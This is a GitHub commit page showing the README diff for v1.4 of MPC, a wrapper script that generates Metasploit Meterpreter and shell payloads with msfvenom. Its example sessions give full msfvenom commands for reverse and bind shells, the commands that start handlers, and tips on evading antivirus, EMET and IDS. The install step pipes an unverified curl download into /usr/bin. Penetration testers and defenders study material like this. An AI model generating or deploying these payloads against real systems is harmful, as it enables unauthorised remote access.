Skip to content

Commit c0b38be

Browse files
g0tmi1kg0tmi1k
committed
v1.4: Add OSX support, bind shell fix, add DLL format
+ Improved OSX support (Thanks @yugoslavskiy) + Fix bind shell issue (Thanks @NullMode) + Added .dll support (Thanks @NullMode) + Removed some colour from the help page + Tweaked the output formatting a little
1 parent a4d5a31 commit c0b38be

File tree

2 files changed

+286
-231
lines changed

2 files changed

+286
-231
lines changed

‎README.md

+147-117
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
A **quick** way to generate various "basic" Meterpreter payloads via `msfvenom` (part of the Metasploit framework).
22

3-
![Msfvenom Payload Creator (MPC)](https://i.imgur.com/JwSYBRZ.png)
3+
![Msfvenom Payload Creator (MPC)](https://i.imgur.com/qxRwnYD.png)
4+
45

56
- - -
67

8+
79
## About
810

911
Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
@@ -18,193 +20,221 @@ The only necessary input from the user should be **defining the payload** they w
1820
* **Want to generate one of each payload? No issue!** Try: `loop`.
1921
* **Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem**. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
2022

21-
_Note: This will **not** try to bypass any anti-virus solutions in any modes._
23+
_Note: This will **NOT** try to bypass any anti-virus solutions at any stage._
24+
2225

2326
## Install
2427

25-
* Designed for **Kali Linux v1.1.0a+** & **Metasploit v4.11+** _(nothing else has been tested)_.
28+
+ Designed for **Kali Linux v2.x** & **Metasploit v4.11+**.
29+
+ Kali v1.x should work.
30+
+ OSX 10.11+ should work.
31+
+ Weakerth4n 6+ should work.
32+
+ _...nothing else has been tested._
2633

2734
```
2835
curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc
2936
chmod +x /usr/bin/mpc
3037
mpc
3138
```
3239

40+
3341
## Help
3442

3543
```
3644
root@kali:~# mpc -h -v
37-
[*] Msfvenom Payload Creator (MPC v1.3.2)
38-
39-
[i] /usr/bin <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
40-
[i] Example: /usr/bin windows 192.168.1.10 # Windows & manual IP.
41-
[i] /usr/bin elf eth0 4444 # Linux, eth0's IP & manual port.
42-
[i] /usr/bin stageless cmd py verbose # Python, stageless command prompt.
43-
[i] /usr/bin loop eth1 # A payload for every type, using eth1's IP.
44-
[i] /usr/bin msf batch wan # All possible Meterpreter payloads, using WAN IP.
45-
[i] /usr/bin help verbose # This help screen, with even more information.
46-
47-
[i] <TYPE>:
48-
[i] + ASP
49-
[i] + ASPX
50-
[i] + Bash [.sh]
51-
[i] + Java [.jsp]
52-
[i] + Linux [.elf]
53-
[i] + OSX [.macho]
54-
[i] + Perl [.pl]
55-
[i] + PHP
56-
[i] + Powershell [.ps1]
57-
[i] + Python [.py]
58-
[i] + Tomcat [.war]
59-
[i] + Windows [.exe]
60-
61-
[i] Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address.
62-
[i] Missing <DOMAIN/IP> will default to the IP menu.
63-
64-
[i] Missing <PORT> will default to 443.
65-
66-
[i] <CMD> is a standard/native command prompt/terminal to interactive with.
67-
[i] <MSF> is a custom cross platform Meterpreter shell, gaining the full power of Metasploit.
68-
[i] Missing <CMD/MSF> will default to <MSF> where possible.
69-
[i] Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
70-
[i] <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
71-
[i] <MSF> payloads are generally much larger than <CMD>, as it comes with more features.
72-
73-
[i] <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
74-
[i] <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
75-
[i] Missing <BIND/REVERSE> will default to <REVERSE>.
76-
[i] <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
77-
78-
[i] <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
79-
[i] <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
80-
[i] Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
81-
[i] Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
82-
[i] <STAGED> are 'better' in low-bandwidth/high-latency environments.
83-
[i] <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
84-
[i] More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
85-
[i] https://www.offensive-security.com/metasploit-unleashed/payload-types/
86-
[i] https://www.offensive-security.com/metasploit-unleashed/payloads/
87-
88-
[i] <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
89-
[i] <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
90-
[i] <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
91-
[i] <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
92-
[i] Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
93-
[i] By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
94-
[i] More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
95-
96-
[i] <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
97-
[i] <LOOP> will just create one of each <TYPE>.
98-
99-
[i] <VERBOSE> will display more information.
45+
[*] Msfvenom Payload Creator (MPC v1.4)
46+
47+
/usr/bin/mpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
48+
Example: /usr/bin/mpc windows 192.168.1.10 # Windows & manual IP.
49+
/usr/bin/mpc elf bind eth0 4444 # Linux, eth0's IP & manual port.
50+
/usr/bin/mpc stageless cmd py https # Python, stageless command prompt.
51+
/usr/bin/mpc verbose loop eth1 # A payload for every type, using eth1's IP.
52+
/usr/bin/mpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
53+
/usr/bin/mpc help verbose # Help screen, with even more information.
54+
55+
<TYPE>:
56+
+ ASP
57+
+ ASPX
58+
+ Bash [.sh]
59+
+ Java [.jsp]
60+
+ Linux [.elf]
61+
+ OSX [.macho]
62+
+ Perl [.pl]
63+
+ PHP
64+
+ Powershell [.ps1]
65+
+ Python [.py]
66+
+ Tomcat [.war]
67+
+ Windows [.exe // .dll]
68+
69+
Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address.
70+
Missing <DOMAIN/IP> will default to the IP menu.
71+
72+
Missing <PORT> will default to 443.
73+
74+
<CMD> is a standard/native command prompt/terminal to interactive with.
75+
<MSF> is a custom cross platform shell, gaining the full power of Metasploit.
76+
Missing <CMD/MSF> will default to <MSF> where possible.
77+
Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
78+
<CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
79+
<MSF> payloads are generally much larger than <CMD>, as it comes with more features.
80+
81+
<BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
82+
<REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
83+
Missing <BIND/REVERSE> will default to <REVERSE>.
84+
<BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
85+
86+
<STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
87+
<STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
88+
Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
89+
Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
90+
<STAGED> are 'better' in low-bandwidth/high-latency environments.
91+
<STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
92+
More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
93+
https://www.offensive-security.com/metasploit-unleashed/payload-types/
94+
https://www.offensive-security.com/metasploit-unleashed/payloads/
95+
96+
<TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
97+
<HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
98+
<HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
99+
<FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
100+
Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
101+
By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
102+
More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
103+
104+
<BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
105+
<LOOP> will just create one of each <TYPE>.
106+
107+
<VERBOSE> will display more information.
100108
root@kali:~#
101109
```
102110

103-
## Example \#1 (Windows, Fully Automated With IP)
111+
112+
## Example \#1 (Windows, Fully Automated Using Manual IP)
104113

105114
```bash
106-
root@kali:~# mpc windows 192.168.1.10
107-
[*] Msfvenom Payload Creator (MPC v1.3.2)
115+
root@kali:~# bash mpc.sh windows 192.168.1.10
116+
[*] Msfvenom Payload Creator (MPC v1.4)
108117
[i] IP: 192.168.1.10
109118
[i] PORT: 443
110119
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
111-
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 > /root/windows-meterpreter-staged-reverse-tcp-443.exe
120+
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
121+
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
122+
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
123+
112124
[i] File (/root/windows-meterpreter-staged-reverse-tcp-443.exe) already exists. Overwriting...
113125
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
114-
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc' (msfconsole -q -r /root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)
115-
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
126+
127+
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
128+
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
129+
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
116130
[*] Done!
117131
root@kali:~#
118132
```
119133

120-
## Example \#2 (Linux Format, Fully Automated With Interface and Port)
134+
135+
## Example \#2 (Linux Format, Fully Automated Using Manual Interface and Port)
121136

122137
```bash
123-
root@kali:~# . elf bind eth0 4444 verbose
124-
[*] Msfvenom Payload Creator (MPC v1.3.2)
125-
[i] IP: 192.168.103.140
138+
root@kali:~# ./mpc.sh elf bind eth0 4444 verbose
139+
[*] Msfvenom Payload Creator (MPC v1.4)
140+
[i] IP: 192.168.103.183
126141
[i] PORT: 4444
127142
[i] TYPE: linux (linux/x86/shell/bind_tcp)
128143
[i] SHELL: shell
129144
[i] DIRECTION: bind
130145
[i] STAGE: staged
131146
[i] METHOD: tcp
132-
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf --platform linux -a x86 -e generic/none LHOST=192.168.103.140 LPORT=4444 > '/root/linux-shell-staged-bind-tcp-4444.elf'
147+
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
148+
--platform linux -a x86 -e generic/none LPORT=4444 \
149+
> '/root/linux-shell-staged-bind-tcp-4444.elf'
150+
151+
[i] File (/root/linux-shell-staged-bind-tcp-4444.elf) already exists. Overwriting...
133152
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
153+
134154
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
135155
[i] Size: 4.0K
136-
[i] MD5: 06092c38c3dcb30fcb455e1ee16fb782
137-
[i] SHA1: 19c3ec0e4987c7dd6d77550cacfef617f5d880ed
138-
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc' (msfconsole -q -r /root/linux-shell-staged-bind-tcp-4444-elf.rc)
139-
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
156+
[i] MD5: eed4623b765eea623f2e0206b63aad61
157+
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
158+
159+
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
160+
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
161+
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
140162
[*] Done!
141163
root@kali:~#
142164
```
143165

144-
## Example \#3 (Python Format, Stageless Command Prompt Using Interactive IP Menu)
166+
167+
## Example \#3 (Python Format, Interactive IP Menu)
145168

146169
```bash
147-
root@kali:~# bash mpc.sh stageless cmd py https
148-
[*] Msfvenom Payload Creator (MPC v1.3.2)
149-
150-
[i] Use which interface/IP address?:
151-
[i] 1.) eth0 - 192.168.103.238
152-
[i] 2.) eth1 - 192.168.155.175
153-
[i] 3.) tap0 - 10.10.100.63
154-
[i] 4.) lo - 127.0.0.1
155-
[i] 5.) wan - xx.xx.xx.xx
156-
[?] Select 1-5, interface or IP address: 3
157-
158-
[i] IP: 10.10.100.63
159-
[i] PORT: 443
160-
[i] TYPE: python (python/shell_reverse_tcp)
161-
[i] SHELL: shell
162-
[i] DIRECTION: reverse
163-
[i] STAGE: stageless
164-
[i] METHOD: tcp
165-
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=10.10.100.63 LPORT=443 > /root/python-shell-stageless-reverse-tcp-443.py
170+
root@kali:~# mpc stageless cmd py tcp
171+
[*] Msfvenom Payload Creator (MPC v1.4)
172+
173+
[i] Use which interface - IP address?:
174+
[i] 1.) eth0 - 192.168.103.183
175+
[i] 2.) tap0 - 10.10.100.63
176+
[i] 3.) lo - 127.0.0.1
177+
[i] 4.) wan - xxx.xxx.xxx.xxx
178+
[?] Select 1-4, interface or IP address: 2
179+
180+
[i] IP: 10.10.100.63
181+
[i] PORT: 443
182+
[i] TYPE: python (python/shell_reverse_tcp)
183+
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
184+
--platform python -e generic/none -a python LHOST=10.10.100.63 LPORT=443 \
185+
> '/root/python-shell-stageless-reverse-tcp-443.py'
186+
166187
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
167-
[i] File: ASCII text, with very long lines, with no line terminators
168-
[i] Size: 4.0K
169-
[i] MD5: 53452eafafe21bff94e6c4621525165b
170-
[i] SHA1: 18641444f084c5fe7e198c29bf705a68b15c2cc9
171-
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc' (msfconsole -q -r /root/python-shell-stageless-reverse-tcp-443-py.rc)
172-
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
188+
189+
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
190+
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
191+
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
173192
[*] Done!
174193
root@kali:~#
175194
```
195+
176196
_Note: Removed WAN IP._
177197

178198

179-
## Example \#4 (Loop)
199+
## Example \#4 (Loop - Generates one of everything)
180200

181201
```bash
182-
root@kali:~# bash mpc.sh loop eth1
183-
[*] Msfvenom Payload Creator (MPC v1.3.2)
202+
root@kali:~# ./mpc.sh loop wan
203+
[*] Msfvenom Payload Creator (MPC v1.4)
184204
[i] Loop Mode. Creating one of each TYPE, with default values
185205

186-
[*] Msfvenom Payload Creator (MPC v1.3.2)
187-
[i] IP: 192.168.155.175
206+
[*] Msfvenom Payload Creator (MPC v1.4)
207+
[i] IP: xxx.xxx.xxx.xxx
188208
[i] PORT: 443
189209
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
190-
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f asp --platform windows -a x86 -e generic/none LHOST=192.168.155.175 LPORT=443 > '/root/windows-meterpreter-staged-reverse-tcp-443.asp'
210+
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f asp \
211+
--platform windows -a x86 -e generic/none LHOST=xxx.xxx.xxx.xxx LPORT=443 \
212+
> '/root/windows-meterpreter-staged-reverse-tcp-443.asp'
213+
191214
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.asp'
192-
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-asp.rc' (msfconsole -q -r /root/windows-meterpreter-staged-reverse-tcp-443-asp.rc)
193-
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
215+
216+
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-asp.rc'
217+
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-asp.rc'
218+
[?] Quick web server (for file transfer)?: python -m SimpleHTTPServer 8080
194219
[*] Done!
195220

196221

197-
[*] Msfvenom Payload Creator (MPC v1.3.2)
222+
[*] Msfvenom Payload Creator (MPC v1.4)
198223
...SNIP...
199224
[*] Done!
200225

201226
root@kali ~$
202227
```
203228

204-
![Examples](https://i.imgur.com/r9Qmzda.png)
229+
_Note: Removed WAN IP._
230+
231+
232+
![Examples](https://i.imgur.com/lQFiqil.png)
233+
205234

206235
- - -
207236

237+
208238
## To-Do List
209239

210240
* Shellcode generation

0 commit comments

Comments
 (0)